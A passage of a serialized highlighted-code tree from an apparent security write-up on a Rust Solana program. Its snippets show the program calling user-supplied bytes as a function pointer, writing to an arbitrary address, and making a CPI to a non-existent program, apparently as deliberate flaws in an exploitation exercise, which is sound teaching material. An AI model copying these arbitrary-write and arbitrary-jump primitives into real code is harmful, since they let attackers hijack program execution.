{\n",{"type":21,"tag":198,"props":41379,"children":41380},{"class":200,"line":236},[41381,41385],{"type":21,"tag":198,"props":41382,"children":41383},{"style":249},[41384],{"type":27,"value":14640},{"type":21,"tag":198,"props":41386,"children":41387},{"style":211},[41388],{"type":27,"value":233},{"type":21,"tag":198,"props":41390,"children":41391},{"class":200,"line":260},[41392,41396,41400,41404,41409,41413,41418,41422,41427,41431,41436,41440,41444,41448,41452,41456,41460,41464,41468,41472,41476,41480,41484,41488,41492,41496,41500,41504,41508],{"type":21,"tag":198,"props":41393,"children":41394},{"style":249},[41395],{"type":27,"value":3873},{"type":21,"tag":198,"props":41397,"children":41398},{"style":226},[41399],{"type":27,"value":14664},{"type":21,"tag":198,"props":41401,"children":41402},{"style":683},[41403],{"type":27,"value":979},{"type":21,"tag":198,"props":41405,"children":41406},{"style":211},[41407],{"type":27,"value":41408}," std",{"type":21,"tag":198,"props":41410,"children":41411},{"style":683},[41412],{"type":27,"value":4286},{"type":21,"tag":198,"props":41414,"children":41415},{"style":211},[41416],{"type":27,"value":41417},"mem",{"type":21,"tag":198,"props":41419,"children":41420},{"style":683},[41421],{"type":27,"value":4286},{"type":21,"tag":198,"props":41423,"children":41424},{"style":698},[41425],{"type":27,"value":41426},"transmute",{"type":21,"tag":198,"props":41428,"children":41429},{"style":683},[41430],{"type":27,"value":4286},{"type":21,"tag":198,"props":41432,"children":41433},{"style":211},[41434],{"type":27,"value":41435},"\u003C[",{"type":21,"tag":198,"props":41437,"children":41438},{"style":1966},[41439],{"type":27,"value":4226},{"type":21,"tag":198,"props":41441,"children":41442},{"style":211},[41443],{"type":27,"value":18028},{"type":21,"tag":198,"props":41445,"children":41446},{"style":2540},[41447],{"type":27,"value":4887},{"type":21,"tag":198,"props":41449,"children":41450},{"style":211},[41451],{"type":27,"value":23853},{"type":21,"tag":198,"props":41453,"children":41454},{"style":683},[41455],{"type":27,"value":5383},{"type":21,"tag":198,"props":41457,"children":41458},{"style":249},[41459],{"type":27,"value":4530},{"type":21,"tag":198,"props":41461,"children":41462},{"style":1966},[41463],{"type":27,"value":6673},{"type":21,"tag":198,"props":41465,"children":41466},{"style":211},[41467],{"type":27,"value":8423},{"type":21,"tag":198,"props":41469,"children":41470},{"style":226},[41471],{"type":27,"value":4508},{"type":21,"tag":198,"props":41473,"children":41474},{"style":211},[41475],{"type":27,"value":2051},{"type":21,"tag":198,"props":41477,"children":41478},{"style":683},[41479],{"type":27,"value":3860},{"type":21,"tag":198,"props":41481,"children":41482},{"style":2540},[41483],{"type":27,"value":4887},{"type":21,"tag":198,"props":41485,"children":41486},{"style":211},[41487],{"type":27,"value":2071},{"type":21,"tag":198,"props":41489,"children":41490},{"style":683},[41491],{"type":27,"value":658},{"type":21,"tag":198,"props":41493,"children":41494},{"style":698},[41495],{"type":27,"value":26966},{"type":21,"tag":198,"props":41497,"children":41498},{"style":211},[41499],{"type":27,"value":14686},{"type":21,"tag":198,"props":41501,"children":41502},{"style":683},[41503],{"type":27,"value":658},{"type":21,"tag":198,"props":41505,"children":41506},{"style":698},[41507],{"type":27,"value":4470},{"type":21,"tag":198,"props":41509,"children":41510},{"style":211},[41511],{"type":27,"value":16229},{"type":21,"tag":198,"props":41513,"children":41514},{"class":200,"line":281},[41515,41519,41524,41528,41532,41536,41540,41544,41548,41552,41556,41560,41564,41568,41572,41576,41580,41584,41588,41592,41596,41601,41605,41609,41613,41617,41621,41625],{"type":21,"tag":198,"props":41516,"children":41517},{"style":249},[41518],{"type":27,"value":3873},{"type":21,"tag":198,"props":41520,"children":41521},{"style":226},[41522],{"type":27,"value":41523}," val",{"type":21,"tag":198,"props":41525,"children":41526},{"style":683},[41527],{"type":27,"value":979},{"type":21,"tag":198,"props":41529,"children":41530},{"style":211},[41531],{"type":27,"value":41408},{"type":21,"tag":198,"props":41533,"children":41534},{"style":683},[41535],{"type":27,"value":4286},{"type":21,"tag":198,"props":41537,"children":41538},{"style":211},[41539],{"type":27,"value":41417},{"type":21,"tag":198,"props":41541,"children":41542},{"style":683},[41543],{"type":27,"value":4286},{"type":21,"tag":198,"props":41545,"children":41546},{"style":698},[41547],{"type":27,"value":41426},{"type":21,"tag":198,"props":41549,"children":41550},{"style":683},[41551],{"type":27,"value":4286},{"type":21,"tag":198,"props":41553,"children":41554},{"style":211},[41555],{"type":27,"value":41435},{"type":21,"tag":198,"props":41557,"children":41558},{"style":1966},[41559],{"type":27,"value":4226},{"type":21,"tag":198,"props":41561,"children":41562},{"style":211},[41563],{"type":27,"value":18028},{"type":21,"tag":198,"props":41565,"children":41566},{"style":2540},[41567],{"type":27,"value":4887},{"type":21,"tag":198,"props":41569,"children":41570},{"style":211},[41571],{"type":27,"value":23853},{"type":21,"tag":198,"props":41573,"children":41574},{"style":1966},[41575],{"type":27,"value":8853},{"type":21,"tag":198,"props":41577,"children":41578},{"style":211},[41579],{"type":27,"value":8423},{"type":21,"tag":198,"props":41581,"children":41582},{"style":226},[41583],{"type":27,"value":4508},{"type":21,"tag":198,"props":41585,"children":41586},{"style":211},[41587],{"type":27,"value":2051},{"type":21,"tag":198,"props":41589,"children":41590},{"style":2540},[41591],{"type":27,"value":4887},{"type":21,"tag":198,"props":41593,"children":41594},{"style":683},[41595],{"type":27,"value":3860},{"type":21,"tag":198,"props":41597,"children":41598},{"style":2540},[41599],{"type":27,"value":41600},"16",{"type":21,"tag":198,"props":41602,"children":41603},{"style":211},[41604],{"type":27,"value":2071},{"type":21,"tag":198,"props":41606,"children":41607},{"style":683},[41608],{"type":27,"value":658},{"type":21,"tag":198,"props":41610,"children":41611},{"style":698},[41612],{"type":27,"value":26966},{"type":21,"tag":198,"props":41614,"children":41615},{"style":211},[41616],{"type":27,"value":14686},{"type":21,"tag":198,"props":41618,"children":41619},{"style":683},[41620],{"type":27,"value":658},{"type":21,"tag":198,"props":41622,"children":41623},{"style":698},[41624],{"type":27,"value":4470},{"type":21,"tag":198,"props":41626,"children":41627},{"style":211},[41628],{"type":27,"value":16229},{"type":21,"tag":198,"props":41630,"children":41631},{"class":200,"line":302},[41632,41637,41641,41646,41650,41654],{"type":21,"tag":198,"props":41633,"children":41634},{"style":226},[41635],{"type":27,"value":41636}," ptr",{"type":21,"tag":198,"props":41638,"children":41639},{"style":683},[41640],{"type":27,"value":658},{"type":21,"tag":198,"props":41642,"children":41643},{"style":698},[41644],{"type":27,"value":41645},"write_volatile",{"type":21,"tag":198,"props":41647,"children":41648},{"style":211},[41649],{"type":27,"value":706},{"type":21,"tag":198,"props":41651,"children":41652},{"style":226},[41653],{"type":27,"value":13440},{"type":21,"tag":198,"props":41655,"children":41656},{"style":211},[41657],{"type":27,"value":1470},{"type":21,"tag":198,"props":41659,"children":41660},{"class":200,"line":323},[41661],{"type":21,"tag":198,"props":41662,"children":41663},{"style":211},[41664],{"type":27,"value":880},{"type":21,"tag":198,"props":41666,"children":41667},{"class":200,"line":344},[41668],{"type":21,"tag":198,"props":41669,"children":41670},{"style":211},[41671],{"type":27,"value":1120},{"type":21,"tag":71,"props":41673,"children":41674},{"start":217},[41675],{"type":21,"tag":75,"props":41676,"children":41677},{},[41678,41679,41685],{"type":27,"value":8292},{"type":21,"tag":194,"props":41680,"children":41682},{"className":41681},[],[41683],{"type":27,"value":41684},"data[0] == 1",{"type":27,"value":41686},", a CPI to a non-existent program is executed:",{"type":21,"tag":187,"props":41688,"children":41690},{"className":3789,"code":41689,"language":3788,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[41691],{"type":21,"tag":194,"props":41692,"children":41693},{"__ignoreMap":7},[41694,41701,41745,41770,41800,41840,41861,41868,41875,41887,41903,41915,41926,41945],{"type":21,"tag":198,"props":41695,"children":41696},{"class":200,"line":201},[41697],{"type":21,"tag":198,"props":41698,"children":41699},{"style":211},[41700],{"type":27,"value":41332},{"type":21,"tag":198,"props":41702,"children":41703},{"class":200,"line":217},[41704,41708,41712,41717,41721,41725,41729,41733,41737,41741],{"type":21,"tag":198,"props":41705,"children":41706},{"style":249},[41707],{"type":27,"value":14497},{"type":21,"tag":198,"props":41709,"children":41710},{"style":249},[41711],{"type":27,"value":14502},{"type":21,"tag":198,"props":41713,"children":41714},{"style":698},[41715],{"type":27,"value":41716}," call",{"type":21,"tag":198,"props":41718,"children":41719},{"style":211},[41720],{"type":27,"value":706},{"type":21,"tag":198,"props":41722,"children":41723},{"style":226},[41724],{"type":27,"value":4508},{"type":21,"tag":198,"props":41726,"children":41727},{"style":683},[41728],{"type":27,"value":185},{"type":21,"tag":198,"props":41730,"children":41731},{"style":683},[41732],{"type":27,"value":7953},{"type":21,"tag":198,"props":41734,"children":41735},{"style":211},[41736],{"type":27,"value":2051},{"type":21,"tag":198,"props":41738,"children":41739},{"style":1966},[41740],{"type":27,"value":4226},{"type":21,"tag":198,"props":41742,"children":41743},{"style":211},[41744],{"type":27,"value":41377},{"type":21,"tag":198,"props":41746,"children":41747},{"class":200,"line":236},[41748,41752,41757,41761,41766],{"type":21,"tag":198,"props":41749,"children":41750},{"style":249},[41751],{"type":27,"value":3809},{"type":21,"tag":198,"props":41753,"children":41754},{"style":226},[41755],{"type":27,"value":41756}," ix",{"type":21,"tag":198,"props":41758,"children":41759},{"style":683},[41760],{"type":27,"value":979},{"type":21,"tag":198,"props":41762,"children":41763},{"style":1966},[41764],{"type":27,"value":41765}," Instruction",{"type":21,"tag":198,"props":41767,"children":41768},{"style":211},[41769],{"type":27,"value":233},{"type":21,"tag":198,"props":41771,"children":41772},{"class":200,"line":260},[41773,41778,41782,41787,41791,41796],{"type":21,"tag":198,"props":41774,"children":41775},{"style":226},[41776],{"type":27,"value":41777}," program_id",{"type":21,"tag":198,"props":41779,"children":41780},{"style":683},[41781],{"type":27,"value":185},{"type":21,"tag":198,"props":41783,"children":41784},{"style":698},[41785],{"type":27,"value":41786}," pubkey!",{"type":21,"tag":198,"props":41788,"children":41789},{"style":211},[41790],{"type":27,"value":706},{"type":21,"tag":198,"props":41792,"children":41793},{"style":205},[41794],{"type":27,"value":41795},"\"osecio5555555555555551111111111111111111111\"",{"type":21,"tag":198,"props":41797,"children":41798},{"style":211},[41799],{"type":27,"value":7548},{"type":21,"tag":198,"props":41801,"children":41802},{"class":200,"line":281},[41803,41808,41812,41816,41820,41824,41828,41832,41836],{"type":21,"tag":198,"props":41804,"children":41805},{"style":226},[41806],{"type":27,"value":41807}," data",{"type":21,"tag":198,"props":41809,"children":41810},{"style":683},[41811],{"type":27,"value":185},{"type":21,"tag":198,"props":41813,"children":41814},{"style":226},[41815],{"type":27,"value":15909},{"type":21,"tag":198,"props":41817,"children":41818},{"style":683},[41819],{"type":27,"value":658},{"type":21,"tag":198,"props":41821,"children":41822},{"style":698},[41823],{"type":27,"value":26966},{"type":21,"tag":198,"props":41825,"children":41826},{"style":211},[41827],{"type":27,"value":14686},{"type":21,"tag":198,"props":41829,"children":41830},{"style":683},[41831],{"type":27,"value":658},{"type":21,"tag":198,"props":41833,"children":41834},{"style":698},[41835],{"type":27,"value":4470},{"type":21,"tag":198,"props":41837,"children":41838},{"style":211},[41839],{"type":27,"value":4296},{"type":21,"tag":198,"props":41841,"children":41842},{"class":200,"line":302},[41843,41848,41852,41856],{"type":21,"tag":198,"props":41844,"children":41845},{"style":226},[41846],{"type":27,"value":41847}," accounts",{"type":21,"tag":198,"props":41849,"children":41850},{"style":683},[41851],{"type":27,"value":185},{"type":21,"tag":198,"props":41853,"children":41854},{"style":698},[41855],{"type":27,"value":4535},{"type":21,"tag":198,"props":41857,"children":41858},{"style":211},[41859],{"type":27,"value":41860},"[]\n",{"type":21,"tag":198,"props":41862,"children":41863},{"class":200,"line":323},[41864],{"type":21,"tag":198,"props":41865,"children":41866},{"style":211},[41867],{"type":27,"value":39755},{"type":21,"tag":198,"props":41869,"children":41870},{"class":200,"line":344},[41871],{"type":21,"tag":198,"props":41872,"children":41873},{"emptyLinePlaceholder":16},[41874],{"type":27,"value":1283},{"type":21,"tag":198,"props":41876,"children":41877},{"class":200,"line":365},[41878,41883],{"type":21,"tag":198,"props":41879,"children":41880},{"style":698},[41881],{"type":27,"value":41882}," invoke_signed_unchecked",{"type":21,"tag":198,"props":41884,"children":41885},{"style":211},[41886],{"type":27,"value":4268},{"type":21,"tag":198,"props":41888,"children":41889},{"class":200,"line":386},[41890,41894,41899],{"type":21,"tag":198,"props":41891,"children":41892},{"style":683},[41893],{"type":27,"value":4276},{"type":21,"tag":198,"props":41895,"children":41896},{"style":226},[41897],{"type":27,"value":41898},"ix",{"type":21,"tag":198,"props":41900,"children":41901},{"style":211},[41902],{"type":27,"value":257},{"type":21,"tag":198,"props":41904,"children":41905},{"class":200,"line":408},[41906,41910],{"type":21,"tag":198,"props":41907,"children":41908},{"style":683},[41909],{"type":27,"value":4276},{"type":21,"tag":198,"props":41911,"children":41912},{"style":211},[41913],{"type":27,"value":41914},"[],\n",{"type":21,"tag":198,"props":41916,"children":41917},{"class":200,"line":429},[41918,41922],{"type":21,"tag":198,"props":41919,"children":41920},{"style":683},[41921],{"type":27,"value":4276},{"type":21,"tag":198,"props":41923,"children":41924},{"style":211},[41925],{"type":27,"value":41914},{"type":21,"tag":198,"props":41927,"children":41928},{"class":200,"line":450},[41929,41933,41937,41941],{"type":21,"tag":198,"props":41930,"children":41931},{"style":211},[41932],{"type":27,"value":4461},{"type":21,"tag":198,"props":41934,"children":41935},{"style":683},[41936],{"type":27,"value":658},{"type":21,"tag":198,"props":41938,"children":41939},{"style":698},[41940],{"type":27,"value":4470},{"type":21,"tag":198,"props":41942,"children":41943},{"style":211},[41944],{"type":27,"value":3404},{"type":21,"tag":198,"props":41946,"children":41947},{"class":200,"line":468},[41948],{"type":21,"tag":198,"props":41949,"children":41950},{"style":211},[41951],{"type":27,"value":1120},{"type":21,"tag":71,"props":41953,"children":41954},{"start":236},[41955],{"type":21,"tag":75,"props":41956,"children":41957},{},[41958,41960,41966],{"type":27,"value":41959},"Finally, if ",{"type":21,"tag":194,"props":41961,"children":41963},{"className":41962},[],[41964],{"type":27,"value":41965},"data[0]",{"type":27,"value":41967}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":21,"tag":187,"props":41969,"children":41971},{"className":3789,"code":41970,"language":3788,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[41972],{"type":21,"tag":194,"props":41973,"children":41974},{"__ignoreMap":7},[41975,41982,42030,42041,42161,42276,42295,42302,42337,42344,42463,42578,42597,42604],{"type":21,"tag":198,"props":41976,"children":41977},{"class":200,"line":201},[41978],{"type":21,"tag":198,"props":41979,"children":41980},{"style":211},[41981],{"type":27,"value":41332},{"type":21,"tag":198,"props":41983,"children":41984},{"class":200,"line":217},[41985,41989,41993,41998,42002,42006,42010,42014,42018,42022,42026],{"type":21,"tag":198,"props":41986,"children":41987},{"style":249},[41988],{"type":27,"value":14497},{"type":21,"tag":198,"props":41990,"children":41991},{"style":249},[41992],{"type":27,"value":14502},{"type":21,"tag":198,"props":41994,"children":41995},{"style":698},[41996],{"type":27,"value":41997}," process",{"type":21,"tag":198,"props":41999,"children":42000},{"style":211},[42001],{"type":27,"value":706},{"type":21,"tag":198,"props":42003,"children":42004},{"style":249},[42005],{"type":27,"value":4530},{"type":21,"tag":198,"props":42007,"children":42008},{"style":226},[42009],{"type":27,"value":15909},{"type":21,"tag":198,"props":42011,"children":42012},{"style":683},[42013],{"type":27,"value":185},{"type":21,"tag":198,"props":42015,"children":42016},{"style":683},[42017],{"type":27,"value":7953},{"type":21,"tag":198,"props":42019,"children":42020},{"style":211},[42021],{"type":27,"value":2051},{"type":21,"tag":198,"props":42023,"children":42024},{"style":1966},[42025],{"type":27,"value":4226},{"type":21,"tag":198,"props":42027,"children":42028},{"style":211},[42029],{"type":27,"value":41377},{"type":21,"tag":198,"props":42031,"children":42032},{"class":200,"line":236},[42033,42037],{"type":21,"tag":198,"props":42034,"children":42035},{"style":249},[42036],{"type":27,"value":14640},{"type":21,"tag":198,"props":42038,"children":42039},{"style":211},[42040],{"type":27,"value":233},{"type":21,"tag":198,"props":42042,"children":42043},{"class":200,"line":260},[42044,42048,42052,42056,42060,42064,42068,42072,42076,42080,42084,42088,42092,42096,42100,42104,42108,42112,42117,42121,42125,42129,42133,42137,42141,42145,42149,42153,42157],{"type":21,"tag":198,"props":42045,"children":42046},{"style":249},[42047],{"type":27,"value":3873},{"type":21,"tag":198,"props":42049,"children":42050},{"style":226},[42051],{"type":27,"value":14664},{"type":21,"tag":198,"props":42053,"children":42054},{"style":683},[42055],{"type":27,"value":979},{"type":21,"tag":198,"props":42057,"children":42058},{"style":211},[42059],{"type":27,"value":41408},{"type":21,"tag":198,"props":42061,"children":42062},{"style":683},[42063],{"type":27,"value":4286},{"type":21,"tag":198,"props":42065,"children":42066},{"style":211},[42067],{"type":27,"value":41417},{"type":21,"tag":198,"props":42069,"children":42070},{"style":683},[42071],{"type":27,"value":4286},{"type":21,"tag":198,"props":42073,"children":42074},{"style":698},[42075],{"type":27,"value":41426},{"type":21,"tag":198,"props":42077,"children":42078},{"style":683},[42079],{"type":27,"value":4286},{"type":21,"tag":198,"props":42081,"children":42082},{"style":211},[42083],{"type":27,"value":41435},{"type":21,"tag":198,"props":42085,"children":42086},{"style":1966},[42087],{"type":27,"value":4226},{"type":21,"tag":198,"props":42089,"children":42090},{"style":211},[42091],{"type":27,"value":18028},{"type":21,"tag":198,"props":42093,"children":42094},{"style":2540},[42095],{"type":27,"value":4887},{"type":21,"tag":198,"props":42097,"children":42098},{"style":211},[42099],{"type":27,"value":23853},{"type":21,"tag":198,"props":42101,"children":42102},{"style":249},[42103],{"type":27,"value":21061},{"type":21,"tag":198,"props":42105,"children":42106},{"style":211},[42107],{"type":27,"value":706},{"type":21,"tag":198,"props":42109,"children":42110},{"style":1966},[42111],{"type":27,"value":8853},{"type":21,"tag":198,"props":42113,"children":42114},{"style":211},[42115],{"type":27,"value":42116},")>(",{"type":21,"tag":198,"props":42118,"children":42119},{"style":226},[42120],{"type":27,"value":4508},{"type":21,"tag":198,"props":42122,"children":42123},{"style":211},[42124],{"type":27,"value":2051},{"type":21,"tag":198,"props":42126,"children":42127},{"style":683},[42128],{"type":27,"value":3860},{"type":21,"tag":198,"props":42130,"children":42131},{"style":2540},[42132],{"type":27,"value":4887},{"type":21,"tag":198,"props":42134,"children":42135},{"style":211},[42136],{"type":27,"value":2071},{"type":21,"tag":198,"props":42138,"children":42139},{"style":683},[42140],{"type":27,"value":658},{"type":21,"tag":198,"props":42142,"children":42143},{"style":698},[42144],{"type":27,"value":26966},{"type":21,"tag":198,"props":42146,"children":42147},{"style":211},[42148],{"type":27,"value":14686},{"type":21,"tag":198,"props":42150,"children":42151},{"style":683},[42152],{"type":27,"value":658},{"type":21,"tag":198,"props":42154,"children":42155},{"style":698},[42156],{"type":27,"value":4470},{"type":21,"tag":198,"props":42158,"children":42159},{"style":211},[42160],{"type":27,"value":16229},{"type":21,"tag":198,"props":42162,"children":42163},{"class":200,"line":281},[42164,42168,42172,42176,42180,42184,42188,42192,42196,42200,42204,42208,42212,42216,42220,42224,42228,42232,42236,42240,42244,42248,42252,42256,42260,42264,42268,42272],{"type":21,"tag":198,"props":42165,"children":42166},{"style":249},[42167],{"type":27,"value":3873},{"type":21,"tag":198,"props":42169,"children":42170},{"style":226},[42171],{"type":27,"value":41523},{"type":21,"tag":198,"props":42173,"children":42174},{"style":683},[42175],{"type":27,"value":979},{"type":21,"tag":198,"props":42177,"children":42178},{"style":211},[42179],{"type":27,"value":41408},{"type":21,"tag":198,"props":42181,"children":42182},{"style":683},[42183],{"type":27,"value":4286},{"type":21,"tag":198,"props":42185,"children":42186},{"style":211},[42187],{"type":27,"value":41417},{"type":21,"tag":198,"props":42189,"children":42190},{"style":683},[42191],{"type":27,"value":4286},{"type":21,"tag":198,"props":42193,"children":42194},{"style":698},[42195],{"type":27,"value":41426},{"type":21,"tag":198,"props":42197,"children":42198},{"style":683},[42199],{"type":27,"value":4286},{"type":21,"tag":198,"props":42201,"children":42202},{"style":211},[42203],{"type":27,"value":41435},{"type":21,"tag":198,"props":42205,"children":42206},{"style":1966},[42207],{"type":27,"value":4226},{"type":21,"tag":198,"props":42209,"children":42210},{"style":211},[42211],{"type":27,"value":18028},{"type":21,"tag":198,"props":42213,"children":42214},{"style":2540},[42215],{"type":27,"value":4887},{"type":21,"tag":198,"props":42217,"children":42218},{"style":211},[42219],{"type":27,"value":23853},{"type":21,"tag":198,"props":42221,"children":42222},{"style":1966},[42223],{"type":27,"value":8853},{"type":21,"tag":198,"props":42225,"children":42226},{"style":211},[42227],{"type":27,"value":8423},{"type":21,"tag":198,"props":42229,"children":42230},{"style":226},[42231],{"type":27,"value":4508},{"type":21,"tag":198,"props":42233,"children":42234},{"style":211},[42235],{"type":27,"value":2051},{"type":21,"tag":198,"props":42237,"children":42238},{"style":2540},[42239],{"type":27,"value":4887},{"type":21,"tag":198,"props":42241,"children":42242},{"style":683},[42243],{"type":27,"value":3860},{"type":21,"tag":198,"props":42245,"children":42246},{"style":2540},[42247],{"type":27,"value":41600},{"type":21,"tag":198,"props":42249,"children":42250},{"style":211},[42251],{"type":27,"value":2071},{"type":21,"tag":198,"props":42253,"children":42254},{"style":683},[42255],{"type":27,"value":658},{"type":21,"tag":198,"props":42257,"children":42258},{"style":698},[42259],{"type":27,"value":26966},{"type":21,"tag":198,"props":42261,"children":42262},{"style":211},[42263],{"type":27,"value":14686},{"type":21,"tag":198,"props":42265,"children":42266},{"style":683},[42267],{"type":27,"value":658},{"type":21,"tag":198,"props":42269,"children":42270},{"style":698},[42271],{"type":27,"value":4470},{"type":21,"tag":198,"props":42273,"children":42274},{"style":211},[42275],{"type":27,"value":16229},{"type":21,"tag":198,"props":42277,"children":42278},{"class":200,"line":302},[42279,42283,42287,42291],{"type":21,"tag":198,"props":42280,"children":42281},{"style":698},[42282],{"type":27,"value":41636},{"type":21,"tag":198,"props":42284,"children":42285},{"style":211},[42286],{"type":27,"value":706},{"type":21,"tag":198,"props":42288,"children":42289},{"style":226},[42290],{"type":27,"value":13440},{"type":21,"tag":198,"props":42292,"children":42293},{"style":211},[42294],{"type":27,"value":1470},{"type":21,"tag":198,"props":42296,"children":42297},{"class":200,"line":323},[42298],{"type":21,"tag":198,"props":42299,"children":42300},{"emptyLinePlaceholder":16},[42301],{"type":27,"value":1283},{"type":21,"tag":198,"props":42303,"children":42304},{"class":200,"line":344},[42305,42309,42313,42317,42321,42325,42329,42333],{"type":21,"tag":198,"props":42306,"children":42307},{"style":226},[42308],{"type":27,"value":41807},{"type":21,"tag":198,"props":42310,"children":42311},{"style":683},[42312],{"type":27,"value":979},{"type":21,"tag":198,"props":42314,"children":42315},{"style":683},[42316],{"type":27,"value":7953},{"type":21,"tag":198,"props":42318,"children":42319},{"style":226},[42320],{"type":27,"value":4508},{"type":21,"tag":198,"props":42322,"children":42323},{"style":211},[42324],{"type":27,"value":2051},{"type":21,"tag":198,"props":42326,"children":42327},{"style":2540},[42328],{"type":27,"value":41600},{"type":21,"tag":198,"props":42330,"children":42331},{"style":683},[42332],{"type":27,"value":3860},{"type":21,"tag":198,"props":42334,"children":42335},{"style":211},[42336],{"type":27,"value":32361},{"type":21,"tag":198,"props":42338,"children":42339},{"class":200,"line":365},[42340],{"type":21,"tag":198,"props":42341,"children":42342},{"emptyLinePlaceholder":16},[42343],{"type":27,"value":1283},{"type":21,"tag":198,"props":42345,"children":42346},{"class":200,"line":386},[42347,42351,42355,42359,42363,42367,42371,42375,42379,42383,42387,42391,42395,42399,42403,42407,42411,42415,42419,42423,42427,42431,42435,42439,42443,42447,42451,42455,42459],{"type":21,"tag":198,"props":42348,"children":42349},{"style":249},[42350],{"type":27,"value":3873},{"type":21,"tag":198,"props":42352,"children":42353},{"style":226},[42354],{"type":27,"value":14664},{"type":21,"tag":198,"props":42356,"children":42357},{"style":683},[42358],{"type":27,"value":979},{"type":21,"tag":198,"props":42360,"children":42361},{"style":211},[42362],{"type":27,"value":41408},{"type":21,"tag":198,"props":42364,"children":42365},{"style":683},[42366],{"type":27,"value":4286},{"type":21,"tag":198,"props":42368,"children":42369},{"style":211},[42370],{"type":27,"value":41417},{"type":21,"tag":198,"props":42372,"children":42373},{"style":683},[42374],{"type":27,"value":4286},{"type":21,"tag":198,"props":42376,"children":42377},{"style":698},[42378],{"type":27,"value":41426},{"type":21,"tag":198,"props":42380,"children":42381},{"style":683},[42382],{"type":27,"value":4286},{"type":21,"tag":198,"props":42384,"children":42385},{"style":211},[42386],{"type":27,"value":41435},{"type":21,"tag":198,"props":42388,"children":42389},{"style":1966},[42390],{"type":27,"value":4226},{"type":21,"tag":198,"props":42392,"children":42393},{"style":211},[42394],{"type":27,"value":18028},{"type":21,"tag":198,"props":42396,"children":42397},{"style":2540},[42398],{"type":27,"value":4887},{"type":21,"tag":198,"props":42400,"children":42401},{"style":211},[42402],{"type":27,"value":23853},{"type":21,"tag":198,"props":42404,"children":42405},{"style":249},[42406],{"type":27,"value":21061},{"type":21,"tag":198,"props":42408,"children":42409},{"style":211},[42410],{"type":27,"value":706},{"type":21,"tag":198,"props":42412,"children":42413},{"style":1966},[42414],{"type":27,"value":8853},{"type":21,"tag":198,"props":42416,"children":42417},{"style":211},[42418],{"type":27,"value":42116},{"type":21,"tag":198,"props":42420,"children":42421},{"style":226},[42422],{"type":27,"value":4508},{"type":21,"tag":198,"props":42424,"children":42425},{"style":211},[42426],{"type":27,"value":2051},{"type":21,"tag":198,"props":42428,"children":42429},{"style":683},[42430],{"type":27,"value":3860},{"type":21,"tag":198,"props":42432,"children":42433},{"style":2540},[42434],{"type":27,"value":4887},{"type":21,"tag":198,"props":42436,"children":42437},{"style":211},[42438],{"type":27,"value":2071},{"type":21,"tag":198,"props":42440,"children":42441},{"style":683},[42442],{"type":27,"value":658},{"type":21,"tag":198,"props":42444,"children":42445},{"style":698},[42446],{"type":27,"value":26966},{"type":21,"tag":198,"props":42448,"children":42449},{"style":211},[42450],{"type":27,"value":14686},{"type":21,"tag":198,"props":42452,"children":42453},{"style":683},[42454],{"type":27,"value":658},{"type":21,"tag":198,"props":42456,"children":42457},{"style":698},[42458],{"type":27,"value":4470},{"type":21,"tag":198,"props":42460,"children":42461},{"style":211},[42462],{"type":27,"value":16229},{"type":21,"tag":198,"props":42464,"children":42465},{"class":200,"line":408},[42466,42470,42474,42478,42482,42486,42490,42494,42498,42502,42506,42510,42514,42518,42522,42526,42530,42534,42538,42542,42546,42550,42554,42558,42562,42566,42570,42574],{"type":21,"tag":198,"props":42467,"children":42468},{"style":249},[42469],{"type":27,"value":3873},{"type":21,"tag":198,"props":42471,"children":42472},{"style":226},[42473],{"type":27,"value":41523},{"type":21,"tag":198,"props":42475,"children":42476},{"style":683},[42477],{"type":27,"value":979},{"type":21,"tag":198,"props":42479,"children":42480},{"style":211},[42481],{"type":27,"value":41408},{"type":21,"tag":198,"props":42483,"children":42484},{"style":683},[42485],{"type":27,"value":4286},{"type":21,"tag":198,"props":42487,"children":42488},{"style":211},[42489],{"type":27,"value":41417},{"type":21,"tag":198,"props":42491,"children":42492},{"style":683},[42493],{"type":27,"value":4286},{"type":21,"tag":198,"props":42495,"children":42496},{"style":698},[42497],{"type":27,"value":41426},{"type":21,"tag":198,"props":42499,"children":42500},{"style":683},[42501],{"type":27,"value":4286},{"type":21,"tag":198,"props":42503,"children":42504},{"style":211},[42505],{"type":27,"value":41435},{"type":21,"tag":198,"props":42507,"children":42508},{"style":1966},[42509],{"type":27,"value":4226},{"type":21,"tag":198,"props":42511,"children":42512},{"style":211},[42513],{"type":27,"value":18028},{"type":21,"tag":198,"props":42515,"children":42516},{"style":2540},[42517],{"type":27,"value":4887},{"type":21,"tag":198,"props":42519,"children":42520},{"style":211},[42521],{"type":27,"value":23853},{"type":21,"tag":198,"props":42523,"children":42524},{"style":1966},[42525],{"type":27,"value":8853},{"type":21,"tag":198,"props":42527,"children":42528},{"style":211},[42529],{"type":27,"value":8423},{"type":21,"tag":198,"props":42531,"children":42532},{"style":226},[42533],{"type":27,"value":4508},{"type":21,"tag":198,"props":42535,"children":42536},{"style":211},[42537],{"type":27,"value":2051},{"type":21,"tag":198,"props":42539,"children":42540},{"style":2540},[42541],{"type":27,"value":4887},{"type":21,"tag":198,"props":42543,"children":42544},{"style":683},[42545],{"type":27,"value":3860},{"type":21,"tag":198,"props":42547,"children":42548},{"style":2540},[42549],{"type":27,"value":41600},{"type":21,"tag":198,"props":42551,"children":42552},{"style":211},[42553],{"type":27,"value":2071},{"type":21,"tag":198,"props":42555,"children":42556},{"style":683},[42557],{"type":27,"value":658},{"type":21,"tag":198,"props":42559,"children":42560},{"style":698},[42561],{"type":27,"value":26966},{"type":21,"tag":198,"props":42563,"children":42564},{"style":211},[42565],{"type":27,"value":14686},{"type":21,"tag":198,"props":42567,"children":42568},{"style":683},[42569],{"type":27,"value":658},{"type":21,"tag":198,"props":42571,"children":42572},{"style":698},[